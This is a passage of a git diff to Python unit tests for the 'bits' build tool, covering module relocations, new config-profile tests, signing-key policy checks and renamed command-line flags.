specs[pkg]["remote_hashes"] = ["deadbeef01234567" * 2] specs[pkg]["local_hashes"] = ["deadbeef01234567" * 2] - with patch("bits_helpers.build.storeHashes", side_effect=fake_store_hashes), \ + with patch("bits_helpers.hashing.storeHashes", side_effect=fake_store_hashes), \ patch("bits_helpers.doctor._probe_tarball_in_store", return_value=(PASS, "available")) as mock_probe: checks = _run_check_store_checks( @@ -709,7 +711,7 @@ def fake_store_hashes(pkg, specs_, considerRelocation): specs_[pkg].setdefault("remote_hashes", []) specs_[pkg].setdefault("local_hashes", []) - with patch("bits_helpers.build.storeHashes", side_effect=fake_store_hashes): + with patch("bits_helpers.hashing.storeHashes", side_effect=fake_store_hashes): checks = _run_check_store_checks( self._args(), specs, own={"Foo"}, always_built=set()) @@ -804,7 +806,7 @@ def fake_store_hashes(pkg, specs_, considerRelocation): patch("bits_helpers.doctor.readDefaults", return_value={}), \ patch("bits_helpers.doctor.validateDefaults", return_value=(True, "", ["release"])), \ - patch("bits_helpers.build.storeHashes", side_effect=fake_store_hashes), \ + patch("bits_helpers.hashing.storeHashes", side_effect=fake_store_hashes), \ patch("urllib.request.urlopen", side_effect=__import__("urllib.error", fromlist=["HTTPError"]) .HTTPError(None, 404, "Not Found", {}, None)), \ diff --git a/tests/test_download_sentinels.py b/tests/test_download_sentinels.py index 8b5f15b7..3067f518 100644 --- a/tests/test_download_sentinels.py +++ b/tests/test_download_sentinels.py @@ -4,7 +4,7 @@ """Tests for the sentinel-file helpers in bits_helpers.download. These helpers coordinate concurrent downloads between the prefetch thread pool -and the main build loop (or Makeflow shell rules): +and the main build loop: * ``_sentinel_path(path)`` — ``path + ".downloading"`` * ``_acquire_download(path)`` — atomically claim the download slot (O_CREAT|O_EXCL) diff --git a/tests/test_forge.py b/tests/test_forge.py index 96bfeae2..26b12dc7 100644 --- a/tests/test_forge.py +++ b/tests/test_forge.py @@ -10,40 +10,6 @@ from bits_helpers import forge -class TestApprovedBy(unittest.TestCase): - - def test_case_insensitive_intersection(self): - self.assertTrue(forge.approved_by(["Alice"], ["alice", "bob"])) - self.assertTrue(forge.approved_by(["bob", "eve"], ["BOB"])) - - def test_no_overlap_is_false(self): - self.assertFalse(forge.approved_by(["eve"], ["alice", "bob"])) - - def test_empty_sides_are_false(self): - self.assertFalse(forge.approved_by([], ["alice"])) - self.assertFalse(forge.approved_by(["alice"], [])) - - -class TestLoadAdmins(unittest.TestCase): - - def test_plain_list_with_comments(self): - text = "# admins\nalice\n\nbob # lead\n" - self.assertEqual(forge.load_admins(text), {"alice", "bob"}) - - def test_at_handles_and_codeowners_style(self): - text = "@Alice\n/manifests/lcg @bob @carol # owners\n" - self.assertEqual(forge.load_admins(text), {"alice", "bob", "carol"}) - - def test_reads_from_file(self): - with tempfile.NamedTemporaryFile("w", suffix=".txt", delete=False) as fh: - fh.write("@dave\n") - path = fh.name - try: - self.assertEqual(forge.load_admins(path), {"dave"}) - finally: - os.remove(path) - - class TestGitLabForge(unittest.TestCase): def test_from_env_needs_all_vars(self): @@ -307,19 +273,5 @@ def test_mr_iid_for_commit_prefers_merged(self): self.assertEqual(forge.gitlab_mr_iid_for_commit("https://gl/api/v4", "t", "p", "sha"), 5) -class TestVerifyApproval(unittest.TestCase): - - def test_ok_when_admin_approved(self): - fg = forge.StaticForge(["alice", "eve"]) - ok, approvers = forge.verify_approval(fg, {"alice"}) - self.assertTrue(ok) - self.assertEqual(approvers, {"alice", "eve"}) - - def test_not_ok_when_only_non_admins_approved(self): - fg = forge.StaticForge(["eve"]) - ok, _ = forge.verify_approval(fg, {"alice"}) - self.assertFalse(ok) - - if __name__ == "__main__": unittest.main() diff --git a/tests/test_gc.py b/tests/test_gc.py index 9b6fd910..6f1e7636 100644 --- a/tests/test_gc.py +++ b/tests/test_gc.py @@ -95,6 +95,11 @@ def setUp(self): fh.write(priv.public_key().public_bytes( serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)) + # The shipped keys/key-policy.json is strict ("default": []); this harness + # trusts its own generated key for every group ("default": ["*"] overrides + # the shipped strict default, most-specific-last). + with open(os.path.join(self.trust_dir, "key-policy.json"), "w") as fh: + fh.write('{"default": ["*"]}\n') self._old = os.environ.get("BITS_TRUST_KEYS") os.environ["BITS_TRUST_KEYS"] = self.trust_dir diff --git a/tests/test_hashing.py b/tests/test_hashing.py index b9852f2c..15748b50 100644 --- a/tests/test_hashing.py +++ b/tests/test_hashing.py @@ -8,7 +8,7 @@ from collections import OrderedDict -from bits_helpers.build import storeHashes +from bits_helpers.hashing import storeHashes LOGFILE = "build.log" SPEC_RE = re.compile(r"spec = (OrderedDict\(\[\('package', '([^']+)'.*\)\]\))") @@ -74,7 +74,7 @@ class NormalizeRecipeForHashTestCase(unittest.TestCase): """normalize_recipe_for_hash strips comments/blank lines for hashing only.""" def _n(self, s): - from bits_helpers.build import normalize_recipe_for_hash + from bits_helpers.hashing import normalize_recipe_for_hash return normalize_recipe_for_hash(s) def test_drops_full_line_comments_and_blanks(self): @@ -128,7 +128,7 @@ class NormalizeRecipeMetadataExclusionTestCase(unittest.TestCase): "make install\n") def _n(self, s): - from bits_helpers.build import normalize_recipe_for_hash + from bits_helpers.hashing import normalize_recipe_for_hash return normalize_recipe_for_hash(s) def test_metadata_keys_removed_from_header(self): @@ -222,7 +222,7 @@ class SourceKeysExcludedFromTextHashTestCase(unittest.TestCase): git alternative on a tarball recipe is hash-neutral.""" def _n(self, s): - from bits_helpers.build import normalize_recipe_for_hash + from bits_helpers.hashing import normalize_recipe_for_hash return normalize_recipe_for_hash(s) def test_source_sources_tag_stripped_from_header(self): @@ -242,7 +242,7 @@ def test_body_source_line_not_stripped(self): self.assertIn("echo 'source: not a header'", self._n(r)) def _h(self, **over): - from bits_helpers.build import storeHashes + from bits_helpers.hashing import storeHashes s = {"package": "foo", "version": "1.2.3", "commit_hash": "1.2.3", "tag": "1.2.3", "scm_refs": {}, "requires": [], "build_requires": [], "runtime_requires": [], "is_devel_pkg": False, "pkg_family": "", diff --git a/tests/test_init.py b/tests/test_init.py index d4c7a8fe..df3e074e 100644 --- a/tests/test_init.py +++ b/tests/test_init.py @@ -2,7 +2,6 @@ # SPDX-License-Identifier: GPL-3.0-or-later from argparse import Namespace -import configparser import os import os.path as path import tempfile @@ -135,11 +134,11 @@ def test_doDryRunInit(self, mock_os, mock_path, mock_info) -> None: @patch("bits_helpers.init.banner") @patch("bits_helpers.init.info") @patch("bits_helpers.init.path") - @patch("bits_helpers.utilities.exists") + @patch("bits_helpers.paths.exists") @patch("bits_helpers.init.os") @patch("bits_helpers.init.git") @patch("bits_helpers.init.updateReferenceRepoSpec") - @patch("bits_helpers.utilities.open") + @patch("bits_helpers.recipe.open") @patch("bits_helpers.init.readDefaults") def test_doRealInit(self, mock_read_defaults, mock_open, mock_update_reference, mock_git, mock_os, mock_exists, mock_path, mock_info, mock_banner) -> None: fake_dist = {"repo": "alisw/alidist", "ver": "master"} @@ -187,8 +186,6 @@ def _cfg_args(**kwargs): defaults = dict( pkgname="", dryRun=False, - rcFile="bits.rc", - appendRc=False, providers=None, initRemoteStore=None, initWriteStore=None, @@ -267,253 +264,86 @@ def test_with_package_does_not_call_config(self, mock_cfg): class ConfigModeWriteTest(unittest.TestCase): - """doInitConfig() writes the correct bits.rc content.""" + """doInitConfig() records a bits use (.bitsuse) profile.""" def setUp(self): + from bits_helpers import bits_use + self._bu = bits_use + self._cwd0 = os.getcwd() self._tmpdir = tempfile.mkdtemp() - self._rc = os.path.join(self._tmpdir, "bits.rc") + self._home = tempfile.mkdtemp() + os.chdir(self._tmpdir) + self._patch = patch.object(bits_use, "HOME_STORE", + os.path.join(self._home, "use")) + self._patch.start() def tearDown(self): import shutil + self._patch.stop() + os.chdir(self._cwd0) shutil.rmtree(self._tmpdir, ignore_errors=True) - - def _read_rc(self): - cfg = configparser.ConfigParser() - cfg.read(self._rc) - return dict(cfg["bits"]) if "bits" in cfg else {} - - def test_writes_remote_store(self): - args = _cfg_args( - initRemoteStore="https://store.example.com", - rcFile=self._rc, - _init_explicit={"remote_store"}, - ) - doInitConfig(args) - self.assertEqual(self._read_rc().get("remote_store"), "https://store.example.com") - - def test_writes_write_store(self): - args = _cfg_args( - initWriteStore="b3://mybucket/store", - rcFile=self._rc, - _init_explicit={"write_store"}, - ) - doInitConfig(args) - self.assertEqual(self._read_rc().get("write_store"), "b3://mybucket/store") - - def test_writes_providers(self): - args = _cfg_args( - providers="https://github.com/myorg/bits-providers", - rcFile=self._rc, - _init_explicit={"providers"}, - ) - doInitConfig(args) - self.assertEqual(self._read_rc().get("providers"), - "https://github.com/myorg/bits-providers") - - def test_writes_organisation(self): - args = _cfg_args( - organisation="MYORG", - rcFile=self._rc, - _init_explicit={"organisation"}, - ) - doInitConfig(args) - self.assertEqual(self._read_rc().get("organisation"), "MYORG") - - def test_writes_work_dir_via_short_flag(self): - args = _cfg_args( - workDir="/opt/sw", - rcFile=self._rc, - _init_explicit={"w"}, # user passed -w - ) - doInitConfig(args) - self.assertEqual(self._read_rc().get("work_dir"), "/opt/sw") - - def test_writes_architecture_via_short_flag(self): - args = _cfg_args( - architecture="ubuntu2204_x86-64", - rcFile=self._rc, - _init_explicit={"a"}, - ) - doInitConfig(args) - self.assertEqual(self._read_rc().get("architecture"), "ubuntu2204_x86-64") - - def test_writes_defaults_list_as_double_colon(self): - args = _cfg_args( - defaults=["release", "myproject"], - rcFile=self._rc, - _init_explicit={"defaults"}, - ) - doInitConfig(args) - self.assertEqual(self._read_rc().get("defaults"), "release::myproject") - - def test_does_not_write_unspecified_keys(self): - """Only explicitly requested keys must appear in bits.rc.""" - args = _cfg_args( - initRemoteStore="https://store.example.com", - workDir="/opt/sw", # NOT in explicit flags - rcFile=self._rc, - _init_explicit={"remote_store"}, - ) - doInitConfig(args) - rc = self._read_rc() - self.assertIn("remote_store", rc) - self.assertNotIn("work_dir", rc) - - def test_multiple_keys_in_one_pass(self): - args = _cfg_args( - initRemoteStore="https://store.example.com", - initWriteStore="b3://mybucket", - organisation="MYORG", - rcFile=self._rc, - _init_explicit={"remote_store", "write_store", "organisation"}, - ) - doInitConfig(args) - rc = self._read_rc() - self.assertEqual(rc["remote_store"], "https://store.example.com") - self.assertEqual(rc["write_store"], "b3://mybucket") - self.assertEqual(rc["organisation"], "MYORG") - - def test_append_preserves_existing_keys(self): - """--append must keep existing bits.rc entries that are not overridden.""" - # Write initial file with providers key - initial = configparser.ConfigParser() - initial.add_section("bits") - initial.set("bits", "providers", "https://github.com/org/providers") - with open(self._rc, "w") as fh: - initial.write(fh) - - args = _cfg_args( - initRemoteStore="https://store.example.com", - rcFile=self._rc, - appendRc=True, - _init_explicit={"remote_store"}, - ) - doInitConfig(args) - rc = self._read_rc() - # New key written - self.assertEqual(rc["remote_store"], "https://store.example.com") - # Existing key preserved - self.assertEqual(rc["providers"], "https://github.com/org/providers") - - def test_append_overwrites_changed_key(self): - """--append must update an existing key when the user re-specifies it.""" - initial = configparser.ConfigParser() - initial.add_section("bits") - initial.set("bits", "remote_store", "https://old-store.example.com") - with open(self._rc, "w") as fh: - initial.write(fh) - - args = _cfg_args( - initRemoteStore="https://new-store.example.com", - rcFile=self._rc, - appendRc=True, - _init_explicit={"remote_store"}, - ) - doInitConfig(args) - rc = self._read_rc() - self.assertEqual(rc["remote_store"], "https://new-store.example.com") - - def test_no_flags_does_not_write_file(self): - """With no explicit flags doInitConfig must not create bits.rc.""" - args = _cfg_args(rcFile=self._rc, _init_explicit=set()) - doInitConfig(args) - self.assertFalse(os.path.exists(self._rc)) - - def test_dry_run_does_not_write_file(self): - """--dry-run must print the config without touching the file system.""" - args = _cfg_args( - initRemoteStore="https://store.example.com", - rcFile=self._rc, - dryRun=True, - _init_explicit={"remote_store"}, - ) - with patch("bits_helpers.init.info") as mock_info: - doInitConfig(args) - self.assertFalse(os.path.exists(self._rc)) - # info() should have been called with the INI text - self.assertTrue(mock_info.called) - printed = " ".join(str(a) for call in mock_info.call_args_list for a in call[0]) - self.assertIn("remote_store", printed) - - def test_fresh_write_overwrites_existing(self): - """Without --append, an existing bits.rc is replaced entirely.""" - initial = configparser.ConfigParser() - initial.add_section("bits") - initial.set("bits", "providers", "https://old-providers") - with open(self._rc, "w") as fh: - initial.write(fh) - - args = _cfg_args( - initWriteStore="b3://mybucket", - rcFile=self._rc, - appendRc=False, - _init_explicit={"write_store"}, - ) - doInitConfig(args) - rc = self._read_rc() - self.assertIn("write_store", rc) - self.assertNotIn("providers", rc) # old key gone - - -class BitsRcDefaultsAppliedTest(unittest.TestCase): - """Verify that bits.rc values become argparse defaults via set_defaults().""" - - def _parse(self, argv, rc_content=""): - """Parse argv with a bits.rc in a temp dir.""" - with tempfile.TemporaryDirectory() as tmpdir: - rc_path = os.path.join(tmpdir, "bits.rc") - if rc_content: - with open(rc_path, "w") as fh: - fh.write(rc_content) - old_cwd = os.getcwd() - try: - os.chdir(tmpdir) - import sys - old_argv = sys.argv[:] - sys.argv = ["bits"] + argv - try: - from bits_helpers.args import doParseArgs - args, _ = doParseArgs() - return args - finally: - sys.argv = old_argv - finally: - os.chdir(old_cwd) - - def test_remote_store_from_rc(self): - """bits.rc remote_store must set the default for 'bits build'.""" - rc = "[bits]\nremote_store = https://rc-store.example.com\n" - with patch("bits_helpers.args.cleanup_git_log"): - args = self._parse(["build", "zlib", "--force-unknown-architecture"], rc) - self.assertEqual(args.remoteStore, "https://rc-store.example.com") - - def test_cli_overrides_rc(self): - """An explicit CLI --remote-store must win over the bits.rc value.""" - rc = "[bits]\nremote_store = https://rc-store.example.com\n" - with patch("bits_helpers.args.cleanup_git_log"): - args = self._parse( - ["build", "zlib", - "--remote-store", "https://cli-store.example.com", - "--force-unknown-architecture"], - rc, - ) - self.assertEqual(args.remoteStore, "https://cli-store.example.com") - - def test_no_rc_uses_hardcoded_default(self): - """Without bits.rc the original hardcoded default must be used. - - Use an explicit architecture that is not in S3_SUPPORTED_ARCHS so that - finaliseArgs does not silently inject the CERN S3 URL, which would mask - a missing rc default and make the assertion architecture-dependent. - """ - with patch("bits_helpers.args.cleanup_git_log"): - args = self._parse([ - "build", "zlib", - "--architecture", "test_x86-64", - "--force-unknown-architecture", - ]) - # The argparse hardcoded default for --remote-store is "". - self.assertEqual(args.remoteStore, "") + shutil.rmtree(self._home, ignore_errors=True) + + def _profile(self): + return self._bu.read_all(self._bu._read_path()) + + def test_remote_store_goes_to_build(self): + doInitConfig(_cfg_args(initRemoteStore="https://store.example.com", + _init_explicit={"remote_store"})) + self.assertEqual(self._profile().get("build"), + ["--remote-store", "https://store.example.com"]) + + def test_write_store_goes_to_build(self): + doInitConfig(_cfg_args(initWriteStore="b3://mybucket/store", + _init_explicit={"write_store"})) + self.assertEqual(self._profile().get("build"), + ["--write-store", "b3://mybucket/store"]) + + def test_architecture_goes_to_common(self): + doInitConfig(_cfg_args(architecture="slc9_x86-64", _init_explicit={"a"})) + self.assertEqual(self._profile().get("common"), + ["--architecture", "slc9_x86-64"]) + + def test_work_dir_goes_to_build(self): + doInitConfig(_cfg_args(workDir="/opt/sw", _init_explicit={"w"})) + self.assertEqual(self._profile().get("build"), ["--work-dir", "/opt/sw"]) + + def test_defaults_list_joined_with_double_colon(self): + doInitConfig(_cfg_args(defaults=["release", "myproject"], + _init_explicit={"defaults"})) + self.assertEqual(self._profile().get("build"), + ["--defaults", "release::myproject"]) + + def test_only_explicit_keys_saved(self): + doInitConfig(_cfg_args(initRemoteStore="https://store.example.com", + workDir="/opt/sw", + _init_explicit={"remote_store"})) + build = self._profile().get("build", []) + self.assertIn("--remote-store", build) + self.assertNotIn("--work-dir", build) + + def test_common_and_build_together(self): + doInitConfig(_cfg_args(architecture="slc9_x86-64", + initRemoteStore="https://store.example.com", + _init_explicit={"a", "remote_store"})) + prof = self._profile() + self.assertEqual(prof.get("common"), ["--architecture", "slc9_x86-64"]) + self.assertEqual(prof.get("build"), + ["--remote-store", "https://store.example.com"]) + + def test_organisation_is_env_only_not_saved(self): + doInitConfig(_cfg_args(organisation="MYORG", _init_explicit={"organisation"})) + self.assertEqual(self._profile(), {}) + + def test_providers_is_env_only_not_saved(self): + doInitConfig(_cfg_args(providers="https://x/bits-providers", + _init_explicit={"providers"})) + self.assertEqual(self._profile(), {}) + + def test_dry_run_writes_nothing(self): + doInitConfig(_cfg_args(initRemoteStore="https://x", dryRun=True, + _init_explicit={"remote_store"})) + self.assertIsNone(self._bu._read_path()) if __name__ == '__main__': diff --git a/tests/test_key_policy.py b/tests/test_key_policy.py new file mode 100644 index 00000000..3ba7f5c7 --- /dev/null +++ b/tests/test_key_policy.py @@ -0,0 +1,84 @@ +# SPDX-FileCopyrightText: 2015-2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later + +"""Security review M4: the shipped key-policy.json is fail-closed — a signing key +not explicitly enrolled is denied every group (via the reserved "default": [] +entry), while the enrolled bits-admin key ("*") stays authorised.""" + +import json +import os +import tempfile +import unittest +from unittest import mock + +from bits_helpers import trust + +_ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +_KEYS_DIR = os.path.join(_ROOT, "keys") +_ADMIN_KID = "265bf1902ea0d4d9" + + +class KeyPolicyStrictTest(unittest.TestCase): + def test_key_authorized_logic_with_strict_default(self): + policy = {_ADMIN_KID: {"*"}, "default": set()} + # enrolled "*" key: authorised for any group + self.assertTrue(trust.key_authorized(_ADMIN_KID, "lcg", policy)) + self.assertTrue(trust.key_authorized(_ADMIN_KID, "common", policy)) + # unlisted key: denied every group (fail-closed via default: []) + self.assertFalse(trust.key_authorized("deadbeefdeadbeef", "lcg", policy)) + self.assertFalse(trust.key_authorized("deadbeefdeadbeef", None, policy)) + + def test_no_default_is_permissive(self): + # Without a "default" entry an unlisted key is unrestricted (the old, + # backward-compatible behaviour) — this is exactly what "default": [] + # closes, so the two must differ. + policy = {_ADMIN_KID: {"*"}} + self.assertTrue(trust.key_authorized("deadbeefdeadbeef", "lcg", policy)) + + def test_shipped_policy_is_strict(self): + policy = trust.load_key_policy(dirs=[_KEYS_DIR]) + self.assertIsNotNone(policy, "keys/key-policy.json must be present") + self.assertIn("default", policy) + self.assertEqual(policy["default"], set(), "shipped default must be [] (strict)") + self.assertIn(_ADMIN_KID, policy) + # concretely: the admin key is authorised, an unlisted key is denied. + self.assertTrue(trust.key_authorized(_ADMIN_KID, "lcg", policy)) + self.assertFalse(trust.key_authorized("deadbeefdeadbeef", "lcg", policy)) + + +class KeyPolicyDropDiagnosticTest(unittest.TestCase): + """A verified signing key that key-policy.json does not authorise for an + entry's group has its entries dropped — but with a diagnostic warning, not a + silent no-reuse (mitigates the fail-closed silent-drop failure mode).""" + + def _manifest(self, group): + tmp = tempfile.mkdtemp() + path = os.path.join(tmp, "common.json") + with open(path, "w") as fh: + json.dump({"packages": [ + {"group": group, "hash": "h1", "tarball_sha256": "sha256:aa"}]}, fh) + return path + + def test_policy_denied_drops_and_warns(self): + path = self._manifest("lcg") + denying = {"deadbeefdeadbeef": {"lcg"}, "default": set()} # signer kid not listed + with mock.patch.object(trust, "verify_manifest", return_value="ffffffffffffffff"), \ + mock.patch.object(trust, "load_key_policy", return_value=denying), \ + mock.patch("bits_helpers.log.warning") as w: + kid, entries = trust._verified_entries(path, None, None, None, None) + self.assertEqual(entries, []) + self.assertTrue(w.called, "a policy-denied verified key must be diagnosed") + + def test_authorized_key_no_warning(self): + path = self._manifest("lcg") + allowing = {"ffffffffffffffff": {"*"}, "default": set()} + with mock.patch.object(trust, "verify_manifest", return_value="ffffffffffffffff"), \ + mock.patch.object(trust, "load_key_policy", return_value=allowing), \ + mock.patch("bits_helpers.log.warning") as w: + kid, entries = trust._verified_entries(path, None, None, None, None) + self.assertEqual(len(entries), 1) + self.assertFalse(w.called) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_new_args.py b/tests/test_new_args.py index ad1b8a80..9db57efe 100644 --- a/tests/test_new_args.py +++ b/tests/test_new_args.py @@ -9,13 +9,14 @@ - bits publish --no-relocate: accepted and stored correctly - Backward compatibility: omitting new flags leaves existing defaults unchanged """ +import os import sys import types import unittest from unittest.mock import patch from bits_helpers.args import doParseArgs, _parse_flavours -from bits_helpers.utilities import filterByArchitectureDefaults +from bits_helpers.matchers import filterByArchitectureDefaults # Shared architecture that passes validation checks. _ARCH = "slc7_x86-64" @@ -39,14 +40,19 @@ def _parse_with_docker(argv): class CleanupSubparserTest(unittest.TestCase): - """bits cleanup subparser is registered and has correct defaults.""" + """bits prune subparser is registered (renamed from cleanup) with correct defaults.""" - def test_action_is_cleanup(self): + def test_action_is_prune(self): + args = _parse(["prune"]) + self.assertEqual(args.action, "prune") + + def test_cleanup_alias_forwards_to_prune(self): + # 'cleanup' is a deprecated alias that warns and forwards to 'prune'. args = _parse(["cleanup"]) - self.assertEqual(args.action, "cleanup") + self.assertEqual(args.action, "prune") def test_defaults(self): - args = _parse(["cleanup"]) + args = _parse(["prune"]) self.assertEqual(args.maxAgeDays, 7.0) self.assertIsNone(args.minFreeGb) self.assertFalse(args.diskPressureOnly) @@ -136,14 +142,14 @@ class PublishNoRelocateTest(unittest.TestCase): def test_default_is_false(self): args = _parse(["publish", "ROOT", "--cvmfs-target", "/cvmfs/sft.cern.ch/lcg/releases/ROOT/6.32.0", - "--spool", "user@host:/spool", + "--prepub-url", "https://prepub.example.org", "-a", _ARCH]) self.assertFalse(args.noRelocate) def test_no_relocate_flag_set(self): args = _parse(["publish", "ROOT", "--cvmfs-target", "/cvmfs/sft.cern.ch/lcg/releases/ROOT/6.32.0", - "--spool", "user@host:/spool", + "--prepub-url", "https://prepub.example.org", "-a", _ARCH, "--no-relocate"]) self.assertTrue(args.noRelocate) @@ -152,9 +158,8 @@ def test_backward_compat_existing_publish_args(self): """Existing publish invocations without --no-relocate are unaffected.""" args = _parse(["publish", "ROOT", "6.32.0-1", "--cvmfs-target", "/cvmfs/sft.cern.ch/lcg/releases/ROOT/6.32.0", - "--spool", "user@host:/spool", + "--prepub-url", "https://prepub.example.org", "-a", _ARCH, - "--rsync-opts", "-e 'ssh -i key'", "--scratch-dir", "/tmp/bits-scratch"]) self.assertFalse(args.noRelocate) self.assertEqual(args.workDir, "sw") @@ -270,5 +275,174 @@ def test_container_use_workdir(self): self.assertIsNone(getattr(args, "cvmfsPrefix", None)) +class RemoteStoreUnificationTest(unittest.TestCase): + """--remote-store is the canonical store flag; --store is a deprecated alias.""" + + def test_remote_store_sets_dest(self): + args = _parse(["publish", "--remote-store", "b3://mybucket"]) + self.assertEqual(args.publishStore, "b3://mybucket") + + def test_store_alias_sets_dest(self): + args = _parse(["publish", "--store", "b3://mybucket"]) + self.assertEqual(args.publishStore, "b3://mybucket") + + def test_store_alias_warns(self): + with patch("bits_helpers.log.warning") as w: + _parse(["publish", "--store", "b3://x"]) + self.assertTrue(w.called) + + def test_remote_store_does_not_warn(self): + with patch("bits_helpers.log.warning") as w: + _parse(["publish", "--remote-store", "b3://x"]) + self.assertFalse(w.called) + + def test_default_is_default_s3_store(self): + from bits_helpers.args import DEFAULT_S3_STORE + args = _parse(["publish"]) + self.assertEqual(args.publishStore, DEFAULT_S3_STORE) + + def test_cleanup_store_default_stays_none(self): + args = _parse(["cleanup"]) + self.assertIsNone(args.retainStore) + + def test_cleanup_remote_store_sets_dest(self): + args = _parse(["cleanup", "--remote-store", "b3://b"]) + self.assertEqual(args.retainStore, "b3://b") + + +class PublishToRemovalTest(unittest.TestCase): + """Phase 3.4: `bits publish` is CVMFS-only; `--to` and `--write-store` are + gone (the S3-store write moved to `bits store upload`).""" + + def test_to_flag_rejected(self): + with self.assertRaises(SystemExit): + _parse(["publish", "--to", "s3"]) + + def test_write_store_flag_rejected(self): + with self.assertRaises(SystemExit): + _parse(["publish", "--write-store", "b3://x"]) + + def test_bare_publish_still_parses(self): + # The bulk-manifest community path (`bits publish` / --from-manifest) stays. + args = _parse(["publish"]) + self.assertFalse(hasattr(args, "publishTo")) + + +class BuildersParallelTest(unittest.TestCase): + """--parallel/--builders: no flag => serial (1), bare => 4, explicit => N.""" + + def test_no_flag_serial(self): + args = _parse(["build", "-a", _ARCH, "ROOT"]) + self.assertEqual(args.builders, 1) + + def test_parallel_bare_before_package(self): + args = _parse(["build", "-a", _ARCH, "--parallel", "ROOT"]) + self.assertEqual(args.builders, 4) + self.assertEqual(args.pkgname, ["ROOT"]) + + def test_parallel_bare_after_package(self): + args = _parse(["build", "-a", _ARCH, "ROOT", "--parallel"]) + self.assertEqual(args.builders, 4) + + def test_parallel_with_number(self): + args = _parse(["build", "-a", _ARCH, "--parallel", "8", "ROOT"]) + self.assertEqual(args.builders, 8) + self.assertEqual(args.pkgname, ["ROOT"]) + + def test_builders_alias_with_number(self): + args = _parse(["build", "-a", _ARCH, "--builders", "2", "ROOT"]) + self.assertEqual(args.builders, 2) + + def test_builders_bare(self): + args = _parse(["build", "-a", _ARCH, "ROOT", "--builders"]) + self.assertEqual(args.builders, 4) + + def test_parallel_bare_two_packages(self): + args = _parse(["build", "-a", _ARCH, "--parallel", "ROOT", "GEANT4"]) + self.assertEqual(args.builders, 4) + self.assertEqual(args.pkgname, ["ROOT", "GEANT4"]) + + +class RenameAliasesTest(unittest.TestCase): + """Canonical flag names with deprecated aliases that still work and warn.""" + + def test_prefer_system_canonical(self): + args = _parse(["build", "-a", _ARCH, "--prefer-system", "ROOT"]) + self.assertTrue(args.preferSystem) + + def test_prefer_system_canonical_silent(self): + with patch("bits_helpers.log.warning") as w: + _parse(["build", "-a", _ARCH, "--prefer-system", "ROOT"]) + self.assertFalse(w.called) + + def test_always_prefer_system_alias_warns(self): + with patch("bits_helpers.log.warning") as w: + args = _parse(["build", "-a", _ARCH, "--always-prefer-system", "ROOT"]) + self.assertTrue(args.preferSystem) + self.assertTrue(w.called) + + def test_force_overwrite_canonical(self): + args = _parse(["import", "--force-overwrite"]) + self.assertTrue(args.importForce) + + def test_force_alias_warns(self): + with patch("bits_helpers.log.warning") as w: + args = _parse(["import", "--force"]) + self.assertTrue(args.importForce) + self.assertTrue(w.called) + + def test_release_view_canonical(self): + args = _parse(["publish", "--release-view", "lcg", + "--cvmfs-target", "/cvmfs/x", "-a", _ARCH]) + self.assertEqual(args.publishView, "lcg") + + def test_view_alias_warns(self): + with patch("bits_helpers.log.warning") as w: + args = _parse(["publish", "--view", "lcg", + "--cvmfs-target", "/cvmfs/x", "-a", _ARCH]) + self.assertEqual(args.publishView, "lcg") + self.assertTrue(w.called) + + def test_version_takes_no_architecture(self): + with self.assertRaises(SystemExit): + _parse(["version", "-a", _ARCH]) + + def test_version_parses_plain(self): + args = _parse(["version"]) + self.assertEqual(args.action, "version") + + +class SearchPathTest(unittest.TestCase): + """--search-path seeds BITS_PATH; explicit $BITS_PATH wins.""" + + def setUp(self): + self._saved = os.environ.pop("BITS_PATH", None) + + def tearDown(self): + os.environ.pop("BITS_PATH", None) + if self._saved is not None: + os.environ["BITS_PATH"] = self._saved + + def test_seeds_bits_path(self): + _parse(["build", "-a", _ARCH, "--search-path", "lcg", "ROOT"]) + self.assertEqual(os.environ.get("BITS_PATH"), "lcg") + + def test_comma_separated(self): + _parse(["build", "-a", _ARCH, "--search-path", "lcg,foo", "ROOT"]) + self.assertEqual(os.environ.get("BITS_PATH"), "lcg,foo") + + def test_no_flag_leaves_unset(self): + _parse(["build", "-a", _ARCH, "ROOT"]) + self.assertIsNone(os.environ.get("BITS_PATH")) + + def test_explicit_env_wins(self): + os.environ["BITS_PATH"] = "envwins" + _parse(["build", "-a", _ARCH, "--search-path", "lcg", "ROOT"]) + self.assertEqual(os.environ.get("BITS_PATH"), "envwins") + + def test_dest_recorded_on_deps(self): + args = _parse(["deps", "-a", _ARCH, "--search-path", "bar", "ROOT"]) + self.assertEqual(args.searchPath, "bar") + if __name__ == "__main__": unittest.main() diff --git a/tests/test_package_family.py b/tests/test_package_family.py index f5c3f529..9f3a4fd7 100644 --- a/tests/test_package_family.py +++ b/tests/test_package_family.py @@ -19,8 +19,13 @@ sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) -from bits_helpers.utilities import resolve_pkg_family, getPackageList, parseRecipe, resolve_tag -from bits_helpers.build import _pkg_install_path, generate_initdotsh, storeHashes +from bits_helpers.utilities import resolve_tag +from bits_helpers.defaults import resolve_pkg_family +from bits_helpers.packages import getPackageList +from bits_helpers.recipe import parseRecipe +from bits_helpers.build import _pkg_install_path +from bits_helpers.hashing import storeHashes +from bits_helpers.initdotsh import generate_initdotsh # --------------------------------------------------------------------------- @@ -217,15 +222,15 @@ def fake_getRecipeReader(filename, *args, **kwargs): content = self.RECIPES.get(pkg, "package: {p}\nversion: v1\n---\n".format(p=pkg)) return lambda: content - with patch("bits_helpers.utilities.resolveFilename", + with patch("bits_helpers.packages.resolveFilename", side_effect=fake_resolveFilename), \ - patch("bits_helpers.utilities.getRecipeReader", + patch("bits_helpers.packages.getRecipeReader", side_effect=fake_getRecipeReader), \ - patch("bits_helpers.utilities.getGeneratedPackages", + patch("bits_helpers.packages.getGeneratedPackages", return_value={"/pkgdir": {}}), \ - patch("bits_helpers.utilities.load_for_spec", + patch("bits_helpers.packages.load_for_spec", return_value=None), \ - patch("bits_helpers.utilities.merge_into_spec", + patch("bits_helpers.packages.merge_into_spec", return_value=None): getPackageList( packages=["myapp"], diff --git a/tests/test_packagelist.py b/tests/test_packagelist.py index 28f59d76..6a858502 100644 --- a/tests/test_packagelist.py +++ b/tests/test_packagelist.py @@ -9,7 +9,7 @@ import tempfile from bits_helpers.cmd import getstatusoutput -from bits_helpers.utilities import getPackageList +from bits_helpers.packages import getPackageList RECIPES = { @@ -121,8 +121,8 @@ def 